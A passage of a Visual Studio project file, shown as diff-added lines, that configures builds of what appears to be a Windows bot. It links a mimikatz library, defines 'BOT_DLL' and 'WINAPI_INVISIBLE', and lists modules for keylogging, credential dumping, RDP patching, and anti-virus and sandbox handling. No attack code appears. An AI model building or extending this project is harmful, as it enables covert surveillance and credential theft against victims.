<ConfigurationType>DynamicLibrary</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|Win32'" Label="Configuration">+ <ConfigurationType>DynamicLibrary</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'" Label="Configuration">+ <ConfigurationType>DynamicLibrary</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />+ <ImportGroup Label="ExtensionSettings">+ </ImportGroup>+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|Win32'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'" Label="PropertySheets">+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />+ </ImportGroup>+ <PropertyGroup Label="UserMacros" />+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <LinkIncremental>true</LinkIncremental>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">+ <LinkIncremental>true</LinkIncremental>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)objs\$(Configuration)\$(ProjectName)\</IntDir>+ <GenerateManifest>true</GenerateManifest>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">+ <GenerateManifest>true</GenerateManifest>+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)\objs\x64\$(Configuration)\$(ProjectName)\</IntDir>+ <TargetName>$(ProjectName)_x64</TargetName>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\Release\</OutDir>+ <IntDir>$(SolutionDir)objs\Release\$(ProjectName)\</IntDir>+ <GenerateManifest>true</GenerateManifest>+ <TargetExt>.dll</TargetExt>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">+ <GenerateManifest>true</GenerateManifest>+ <TargetExt>.dll</TargetExt>+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\Release\</OutDir>+ <IntDir>$(SolutionDir)objs\Release\$(ProjectName)\</IntDir>+ <TargetName>$(ProjectName)_x64</TargetName>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)\objs\$(Configuration)\$(ProjectName)\</IntDir>+ <GenerateManifest>true</GenerateManifest>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">+ <GenerateManifest>true</GenerateManifest>+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\$(Configuration)\</OutDir>+ <IntDir>$(SolutionDir)\objs\x64\$(Configuration)\$(ProjectName)\</IntDir>+ <TargetName>$(ProjectName)_x64</TargetName>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|Win32'">+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\Release debug string\</OutDir>+ <IntDir>$(SolutionDir)\objs\Release debug string\$(ProjectName)\</IntDir>+ <GenerateManifest>true</GenerateManifest>+ <TargetExt>.dll</TargetExt>+ <TargetName>$(ProjectName)_x64</TargetName>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'">+ <GenerateManifest>true</GenerateManifest>+ <TargetExt>.dll</TargetExt>+ <LinkIncremental>false</LinkIncremental>+ <OutDir>$(SolutionDir)\bin\Release debug string\</OutDir>+ <IntDir>$(SolutionDir)\objs\Release debug string\$(ProjectName)\</IntDir>+ <TargetName>$(ProjectName)_x64</TargetName>+ </PropertyGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">+ <ClCompile>+ <PrecompiledHeader>+ </PrecompiledHeader>+ <WarningLevel>Level3</WarningLevel>+ <Optimization>Disabled</Optimization>+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>true</GenerateDebugInformation>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">+ <ClCompile>+ <PrecompiledHeader>+ </PrecompiledHeader>+ <WarningLevel>Level3</WarningLevel>+ <Optimization>Disabled</Optimization>+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>true</GenerateDebugInformation>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\full;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ <RandomizedBaseAddress>true</RandomizedBaseAddress>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\full;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>main</EntryPointSymbol>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core_x64.lib;wndrec_x64.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ <RandomizedBaseAddress>true</RandomizedBaseAddress>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;BOT_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\full;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>DllMain</EntryPointSymbol>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\Release\;..\lib\x86</AdditionalLibraryDirectories>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;ON_CODE_STRING;WINAPI_INVISIBLE;BOT_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\full;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <EntryPointSymbol>DllMain</EntryPointSymbol>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core_x64.lib;wndrec_x64.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\Release\;..\lib\x86</AdditionalLibraryDirectories>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <EntryPointSymbol>main</EntryPointSymbol>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core_x64.lib;wndrec_x64.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\$(Configuration)\;..\lib\x86</AdditionalLibraryDirectories>+ <EntryPointSymbol>main</EntryPointSymbol>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|Win32'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;BOT_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core.lib;wndrec.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;mimikatz.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\Release debug string\;..\lib\x86</AdditionalLibraryDirectories>+ <EntryPointSymbol>DllMain</EntryPointSymbol>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'">+ <ClCompile>+ <WarningLevel>Level3</WarningLevel>+ <PrecompiledHeader>NotUsing</PrecompiledHeader>+ <Optimization>MinSpace</Optimization>+ <FunctionLevelLinking>true</FunctionLevelLinking>+ <IntrinsicFunctions>true</IntrinsicFunctions>+ <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;DEBUG_STRINGS;WINAPI_INVISIBLE;BOT_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>+ <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>+ <StringPooling>true</StringPooling>+ <ExceptionHandling>false</ExceptionHandling>+ <BufferSecurityCheck>false</BufferSecurityCheck>+ <AssemblerOutput>All</AssemblerOutput>+ <WholeProgramOptimization>false</WholeProgramOptimization>+ <AdditionalIncludeDirectories>include;..\core\include;config\debug;..\wndrec\include;..\mimikatz\include</AdditionalIncludeDirectories>+ <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>+ <MultiProcessorCompilation>true</MultiProcessorCompilation>+ <RuntimeTypeInfo>false</RuntimeTypeInfo>+ </ClCompile>+ <Link>+ <SubSystem>Windows</SubSystem>+ <GenerateDebugInformation>false</GenerateDebugInformation>+ <EnableCOMDATFolding>true</EnableCOMDATFolding>+ <OptimizeReferences>true</OptimizeReferences>+ <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>+ <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;core_x64.lib;wndrec_x64.lib;ntdll.lib;Shlwapi.lib;urlmon.lib;Ws2_32.lib;Crypt32.lib;Iphlpapi.lib;gdiplus.lib;cabinet.lib;Psapi.lib;Imagehlp.lib;netapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>+ <AdditionalLibraryDirectories>$(SolutionDir)bin\Release debug string\;..\lib\x86</AdditionalLibraryDirectories>+ <EntryPointSymbol>DllMain</EntryPointSymbol>+ <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>+ </Link>+ </ItemDefinitionGroup>+ <ItemGroup>+ <ClInclude Include="config\builder.h" />+ <ClInclude Include="config\debug\config.h" />+ <ClInclude Include="config\full\config.h" />+ <ClInclude Include="include\AdminPanel.h" />+ <ClInclude Include="include\AV.h" />+ <ClInclude Include="include\errors.h" />+ <ClInclude Include="include\info.h" />+ <ClInclude Include="include\keylogger.h">+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">true</ExcludedFromBuild>+ </ClInclude>+ <ClInclude Include="include\main.h" />+ <ClInclude Include="include\Manager.h" />+ <ClInclude Include="include\MonitoringProcesses.h" />+ <ClInclude Include="include\other.h" />+ <ClInclude Include="include\plugins.h" />+ <ClInclude Include="include\sandbox.h" />+ <ClInclude Include="include\service.h" />+ <ClInclude Include="include\system.h" />+ <ClInclude Include="include\task.h" />+ <ClInclude Include="include\tools.h" />+ <ClInclude Include="include\VideoServer.h" />+ </ItemGroup>+ <ItemGroup>+ <ClCompile Include="source\abstract.cpp" />+ <ClCompile Include="source\AdminPanel.cpp" />+ <ClCompile Include="source\AV.cpp" />+ <ClCompile Include="source\config.cpp" />+ <ClCompile Include="source\explorer_loop.cpp" />+ <ClCompile Include="source\info.cpp" />+ <ClCompile Include="source\keylogger.cpp">+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">true</ExcludedFromBuild>+ </ClCompile>+ <ClCompile Include="source\main.cpp" />+ <ClCompile Include="source\Manager.cpp" />+ <ClCompile Include="source\MonitoringProcesses.cpp" />+ <ClCompile Include="source\other\FindFiles.cpp" />+ <ClCompile Include="source\other\GetProxy.cpp" />+ <ClCompile Include="source\other\ListProcess.cpp" />+ <ClCompile Include="source\other\mimikatz.cpp" />+ <ClCompile Include="source\other\rdp_patch.cpp" />+ <ClCompile Include="source\other\secure_lsa.cpp" />+ <ClCompile 